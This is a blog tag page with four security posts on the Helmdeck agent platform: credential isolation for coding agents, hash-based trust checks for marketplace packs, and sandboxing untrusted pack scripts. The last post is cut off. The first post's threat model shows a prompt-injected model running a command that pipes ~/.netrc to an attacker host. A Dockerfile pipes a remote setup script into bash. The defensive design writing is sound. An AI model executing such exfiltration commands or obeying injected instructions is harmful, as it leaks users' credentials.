Skip to main content

4 posts tagged with "security"

View All Tags

Autonomous code-fix is a loop. Helmdeck is a substrate. Stop fusing them.

· 7 min read
Tosin Akinosho
Helmdeck maintainer

Hook

Most autonomous coding setups today look like this: an agent (Aider, mini-swe-agent, the SWE-bench harness, whatever) runs a step loop, and at each step shells out to something — the host's bash, a Docker container the agent spawned, or a CI runner. The agent ends up owning isolation, credentials, and observability. Those three jobs have nothing to do with the loop. The interesting question for helmdeck's v0.14.0 isn't "which agent do we wrap?" — it's "what falls out when we stop wrapping at all and treat the agent and the substrate as orthogonal?"

Context

mini-swe-agent — the lightweight SWE-bench harness from Princeton/Stanford — is built around an Environment interface. Concretely:

class Environment:
def execute(self, command: str) -> tuple[int, str, str]:
"""Run a shell command, return (exit_code, stdout, stderr)."""

That's the entire substrate contract. The harness ships LocalEnvironment (run on the host) and DockerEnvironment (run in a container the agent spawns). Both work, but both put isolation policy in the agent's hands.

Helmdeck's substrate side is the inverse. Every pack call already runs in a session sidecar — Docker by default, gVisor or Firecracker per operator policy. The control plane brokers vault credentials via placeholder substitution (${vault:github-token}) — the sidecar never sees the raw secret. Pack invocations land in provider_calls with traceable spans (OTel + Langfuse). All of that is provided to whatever runs inside the sidecar; it has nothing to say about the agent loop.

So the integration thesis for issue #233: write a HelmdeckEnvironment that satisfies mini-swe-agent's two-method contract by routing every execute() through helmdeck's existing cmd.run REST API. The agent loop runs anywhere — your laptop, a CI worker, a Vercel function — and helmdeck handles the substrate.

Finding

Three properties fall out of the separation that neither side has alone.

1. The agent never sees the git token

When mini-swe-agent's LocalEnvironment does git push, the agent process holds the credential — usually because the host has ~/.netrc or GITHUB_TOKEN set in its env. Every step of the loop has read access to that secret; a misbehaving model that gets prompt-injected into cat ~/.netrc | curl attacker.com succeeds.

When the same step runs through HelmdeckEnvironment, the git push command goes over the wire to helmdeck's cmd.run. The placeholder ${vault:github-token} is substituted inside the sidecar's process tree at exec time. The agent's stdout/stderr from cmd.run carries the result, not the secret. The model that prompts the loop into cat ~/.netrc finds an empty file: the credential lives in a vault the agent has no path to.

This isn't theoretical. The cosign-verify work in PR #222 and the deep-dive post on stage-A trust verification (trust-stage-a-hash-of-hash) sit on the same vault primitive. We didn't build it for swe.solve; we built it because every pack in helmdeck has needed it, and swe.solve gets to inherit.

2. Isolation tier is an operator policy, not an agent decision

DockerEnvironment makes the agent the isolation owner. The agent decides which image to pull, which volumes to mount, which capabilities to grant. That's a lot of policy concentrated in one piece of code, and the policy ships with the agent — operators who want stronger isolation (gVisor, Firecracker) need to fork or patch.

Helmdeck inverts it. The session sidecar runtime is configured at deploy time:

# helmdeck operator config
sessions:
runtime: firecracker # or docker / gvisor
memory_mb: 4096
egress_allowlist:
- github.com
- api.fireworks.ai

The agent loop doesn't know or care. HelmdeckEnvironment.execute("git clone …") works the same whether the substrate is Docker on a laptop or Firecracker on a hardened operator box. Upgrading isolation is an operator decision that happens once, applies to every pack call, and the agent code is bit-identical across the change.

3. Trajectories are evidence, not afterthoughts

mini-swe-agent emits a .traj.json file per run — the full conversation history with the model, every execute() call, every exit code. It's the kind of artifact that lives on someone's laptop and gets emailed around when something goes wrong.

Helmdeck has an S3-compatible artifact surface (Garage), used today for blog-publish drafts and slide renders. swe.solve writes its trajectory there on every run, with a presigned URL returned in the pack response. The trajectory becomes a first-class artifact — addressable, replayable, retained per the operator's policy. The Artifact Explorer UI can render the trajectory as a sequence; OTel spans can link to the exact bash command at each step.

Propertymini-swe-agent alonehelmdeck alonethe combination
Git credential surfaceAgent processPer-pack vaultVault, agent never sees it
Isolation ownerAgent code (Docker only)Operator (Docker/gVisor/Firecracker)Operator, agent neutral
TrajectoryLocal filen/a (no agent loop)S3-backed artifact, replayable

Why this matters to you

The principle generalizes well past mini-swe-agent. If you're building any autonomous-coding setup — your own harness, an Aider wrapper, a custom LangGraph supervisor — the gravitational pull is to let the agent own isolation, credentials, and observability because the agent is what you're building. Resist it. Those three jobs are exactly the things you'll regret giving the agent the moment a model misbehaves, an operator wants stronger isolation, or an incident requires a forensic replay.

The cleaner shape is two abstractions: a loop that knows how to reason about code, and a substrate that knows how to isolate and credential and trace. The interface between them is small (mini-swe-agent's execute() is one method) and the cost of separating is paid once. The benefit accrues every time you swap the agent (new harness drops; substrate is untouched), upgrade isolation (operator decision; agent untouched), or audit a failure (trajectory is already an artifact).

Issue #233 tracks the v0.14.0 work: Phase 1 builds HelmdeckEnvironment as a thin Python adapter, Phase 3 wires it into a swe.solve Go pack. The five later phases — trajectory replay UI, OTel spans per agent step, webhook auto-trigger, A2A skill exposure, procedural-memory pack promotion — each open their own issue after Phase 3 lands. Most of them lean on ADRs that are currently Status: Proposed, so committing them in v0.14.0 would be premature; this is the discipline call that keeps the release shippable.

See also

Trust stage A: when the file containing the hash is in the hash

· 6 min read
Tosin Akinosho
Helmdeck maintainer

Hook

Helmdeck v0.13.0's marketplace beta verifies installed packs by comparing a SHA256 over every file in the pack against the hash stored in the pack's manifest. The fix to the obvious circular dependency — the manifest contains the hash, so including the manifest in the hash creates a chicken-and-egg — is one line of Go:

if rel == "helmdeck-pack.yaml" { return nil } // exclude the manifest

What that one line buys, what it deliberately gives up, and why "stage A" is enough for v0.13.0 even though "stage B" is the real answer.

Context

PR #222 replaced the structured stub from PR #220 with real trust verification: when an operator installs a pack from the marketplace, the control plane recomputes a SHA256 over the pack's content and rejects the install if it doesn't match what the pack's manifest declares.

The shape of a marketplace pack on disk:

packs/cmd.upper/
├── helmdeck-pack.yaml ← manifest (name, version, handler, trust.sha256, signed_by)
├── handler.sh ← the actual pack code
└── README.md ← optional, for the marketplace UI's detail dialog

The maintainer-run script in the marketplace repo (populate-trust-hashes.mjs) walks each pack directory, computes the hash, and writes it into helmdeck-pack.yaml's trust.sha256 field. The control plane recomputes on install and verifies.

This sounds simple. The first cut wasn't.

Finding

The naive walk:

err := filepath.Walk(packDir, func(path string, info os.FileInfo, _ error) error {
if info.IsDir() { return nil }
rel, _ := filepath.Rel(packDir, path)
body, _ := os.ReadFile(path)
inner := sha256.Sum256(body)
fmt.Fprintf(outer, "%s\x00%x\n", filepath.ToSlash(rel), inner)
return nil
})
return fmt.Sprintf("%x", outer.Sum(nil)), nil

It walks every file (sorted by filepath.Walk for determinism), hashes each, folds the per-file hashes into an outer hash with the relative path as a separator. On the maintainer's machine, this computes bf2219701e87ce52d5e4d7867e5b5f01e54f70b29031c4e1a7e8fe4402da3276 for cmd.upper. The maintainer writes that hash into the manifest. The maintainer commits.

The control plane recomputes on the operator's machine — and gets a different hash. Because the manifest now contains the hash. Which is a byte the maintainer's hash didn't see (the hash was computed before the manifest was updated), but which the operator's hash does see.

The fix:

if rel == "helmdeck-pack.yaml" { return nil }

Exclude the manifest from the hash. Maintainer and operator both compute the same digest. The marketplace's sign.yml workflow does a --check pass on every PR to validate the in-tree hash matches what the script would compute fresh — defense in depth that no one accidentally lands a hash that wouldn't verify.

What stage A catches

With the manifest excluded:

  • Handler code modified between author-sign and operator-install — caught. The handler's bytes change, the file's inner hash changes, the outer hash changes.
  • Data files modified (README, assets, prompt templates) — caught. Same reason.
  • File added to the pack — caught. The walk visits the new path; the outer hash includes a new line.
  • File removed — caught. One fewer line in the outer fold.
  • File renamed — caught. The path is part of the fold key.
  • Corrupt download (mid-transfer error, disk bitrot before install) — caught. Bytes differ from the manifest's declared hash.

The implementation hard-rejects on mismatch: removes the materialized files, deletes the install state, returns trust verification failed. The operator sees a clean error; the pack doesn't appear in tools/list. There's no "warn and proceed" path because the threat model doesn't have one.

What stage A doesn't catch

The deliberate gap:

  • Manifest modified by a malicious author. Anyone who controls the manifest can change trust.signed_by, version, description, or handler.command — the recomputed hash won't change, because the manifest isn't in the hash. So an attacker who can get a PR landed on helmdeck-marketplace could ship a manifest that says signed_by: anthropic-security@anthropic.com for a handler the author actually wrote.

This is what stage B solves: full sigstore keyless cosign-verify of the signer identity, attested through the marketplace repo's sign.yml workflow using OIDC. The signature commits to the manifest's bytes, so manifest-modification breaks the signature.

We deferred stage B to v1.0 hardening because v0.13.0's risk picture is bounded: the marketplace catalog defaults to tosin2013/helmdeck-marketplace, which we maintain. PRs are reviewed before merge. Operators can switch to a self-hosted marketplace by overriding HELMDECK_MARKETPLACE_URL. So "malicious author lands a PR with a forged signed_by" requires either a successful social-engineering campaign past PR review or a compromised maintainer account — risks that stage A doesn't address, but which also don't realistically materialize in v0.13.0's beta-scope audience.

The honest framing in the release: stage A says "this pack's content is what its manifest says it is." Stage B will say "and the signer is who the manifest says they are." For v0.13.0, the first half is enough.

Why this matters to you

If you're designing any content-addressed packaging — extensions, plugins, packs, modules, anything you ship as a directory of files plus a metadata manifest — you will hit the same chicken-and-egg the first time you put a content hash in the manifest. There are three ways out:

  1. Exclude the manifest from the hash (what we did). One line of code; preserves a clean fold. Gives up manifest-integrity.
  2. Two-pass hashing. Compute the content hash with the manifest's hash field blanked out, write it in, then compute a signed-document hash over the now-populated manifest separately. Two hashes in the manifest; more bookkeeping; closes the manifest-integrity gap without needing signatures.
  3. Skip the in-manifest hash entirely — compute the digest at distribution time, surface it externally (registry metadata, OCI manifest digest). What container images already do. Adds infrastructure but punts the bookkeeping to systems already solving it.

We picked (1) because the marketplace ships as a git repo, not an OCI registry, and the maintainer-run script is the simpler authoring story. The trade was documented in the release announcement and is exactly the right kind of gap for a beta — small, named, and the path to closing it (stage B) is clear.

The teach: content-addressed packaging always has a hash-of-hash problem somewhere. Find it explicitly. Decide where to put it. Document what the decision gives up. The worst version of this is silently picking (1) without writing down what it gives up, and then discovering at a later release that you've been telling users the system catches something it never did.

See also

Your distroless control plane just got a request that needs bash. What now?

· 6 min read
Tosin Akinosho
Helmdeck maintainer

Hook

Helmdeck's control plane ships on gcr.io/distroless/static:nonroot. No shell, no jq, no Python, no node. That's deliberate: smaller attack surface, faster boot, no untrusted user code reaching the orchestrator. v0.13.0's marketplace beta introduced a new kind of pack — operator-installed scripts from a community catalog — and the very first one (cmd.upper, the canonical worked example) needed all three. The two facts cannot coexist. Here's the decision tree we walked.

Context

The v0.13.0 release tagged on 2026-05-15 carries the Marketplace beta: operators discover community-published packs from a signed catalog (tosin2013/helmdeck-marketplace by default), install them with one REST call or one CLI invocation, and call them immediately via tools/list. The first three seed packs are intentionally polyglot — cmd.upper (bash + jq), ai.review (Python over httpx against the helmdeck gateway), gif.make (bash + ImageMagick). The point of the seeds isn't the work they do; it's proving the catalog supports any language.

Built-in packs are Go code linked into the control-plane binary, so they run wherever the binary runs. Subprocess packs (introduced as a v0.12.0 MVP) os/exec.CommandContext an executable in the same filesystem. Marketplace packs are subprocess packs, except the executables come from an untrusted upstream and call shell utilities the control plane doesn't ship.

Finding

The decision space had three real options. Two had teeth.

Option 1: drop distroless

"Just use debian-slim for the control plane and put bash + jq + python + node in it. Operators don't care about the base image."

Cost: every CVE in bash, jq, python3, node, and the long tail of libc, libssl, and standard utilities is now a control-plane CVE. The control plane runs as the orchestrator for browser sessions, vault unwrapping, the AI gateway, and audit logging. A helmdeck:0.13.0 Trivy scan that goes from "no findings" (today) to "12 high-severity findings in the userland Python stdlib" is a non-trivial regression in the security narrative we've been telling design partners. Reject.

Option 2: run packs in the browser sidecar

The browser sidecar (helmdeck-sidecar-browser) already has bash + Python + node + ffmpeg + Chromium + Marp + Xvfb + xdotool. It's the kitchen-sink image — about 1.2 GB compressed.

If marketplace packs run there, every install spins up a Chromium just to uppercase a string. Worse, the sidecar's session-per-pack model means a 2 GB memory budget per call where a cmd.upper invocation literally needs 4 MB.

The compounding issue: the browser sidecar exists to host one responsibility (browser automation) and is already overloaded. Quietly adding "and also runs untrusted marketplace scripts" makes its threat surface harder to reason about. Reject.

Option 3: dedicated lean sidecar

A new image — helmdeck-sidecar-marketplace — based on debian-slim, with only what marketplace packs are documented to depend on:

FROM ghcr.io/tosin2013/helmdeck-sidecar:0.13.0 AS base
RUN apt-get update && apt-get install -y --no-install-recommends \
bash jq curl python3 ca-certificates \
&& curl -fsSL https://deb.nodesource.com/setup_20.x | bash - \
&& apt-get install -y --no-install-recommends nodejs \
&& rm -rf /var/lib/apt/lists/*

The pack handler closure in the control plane uploads the pack's handler.sh (or .py, or .js) to the sidecar via ec.Exec, chmod +x's it, and pipes the pack input on stdin — the same execution model slides.narrate and hyperframes.render already used for their respective sidecars. Each call is a fresh session with the marketplace sidecar image; the script writes to stdout, the control plane reads it, the response shape matches the pack's declared output schema.

Cost: another image to maintain, another build job in CI, another tag to publish per release, another binary on the operator's pull list. Real cost, but bounded — the build is two lines of CI, the image is ~180 MB compressed, and we already have the muscle for sidecar images from helmdeck-sidecar-browser, helmdeck-sidecar-hyperframes, etc.

Returns: distroless control plane stays distroless. Marketplace packs run in an image where their dependencies are documented (not "whatever happens to be in the kitchen sink"). The threat model is clean — a malicious marketplace pack can do whatever bash/Python/node can do inside the sidecar container, with seccomp and the egress guard already wrapping that.

This is the answer captured in ADR 038.

Per-pack override

One detail that mattered for usability: pack authors with heavier toolchains (image processing, video, ML) can declare a custom sidecar image in their manifest:

# helmdeck-pack.yaml
name: bg.remove
version: 0.1.0
handler:
type: command
command: handler.py
sidecar:
image: ghcr.io/example/rembg-sidecar:v2

Without that override, every heavy pack would either get jammed into the default sidecar (image bloat) or refused (capability bug). With it, the per-pack image is the pack author's decision, and operators can audit it before installing — the manifest is part of the trust-verified content hash.

Why this matters to you

If you're shipping a hardened control plane that needs to host untrusted code (agent platforms, CI runners, plugin systems, anything that says "install this"), the temptation is to make the control plane Just A Bit Wider so the code has room to run. Resist that. The dedicated-sidecar pattern is more boring — one more image, one more pull, one more registry entry — but it preserves the property you set out to have: the orchestrator is small and the things you grant code-execution to are explicitly bounded.

The pattern generalizes. Helmdeck has helmdeck-sidecar-browser (Chromium), helmdeck-sidecar-hyperframes (Node 22 + ffmpeg), and now helmdeck-sidecar-marketplace (bash + jq + python + node). Each one was a "the control plane can't do this" decision, and each one ended up being the right call even when it felt like deferred work at the time.

The teach: when the obvious move is to give the orchestrator another capability, draw the option tree first. There's almost always a "delegate to a smaller bounded thing" option, and it's almost always the answer.

See also

Fail loud: how a silent ElevenLabs fallback hid a credential bug — and the platform fix that closed the class

· 6 min read
Tosin Akinosho
Helmdeck maintainer

Hook

For a week, every podcast.generate call returned HTTP 200 with has_narration: false and an MP3 made entirely of silence. No log line, no error, just a quietly broken artifact you only noticed by listening to it. The fix landed in v0.11.0 as two PRs that close the bug at two layers: one fails loud at the pack contract, the other closes the class at the platform.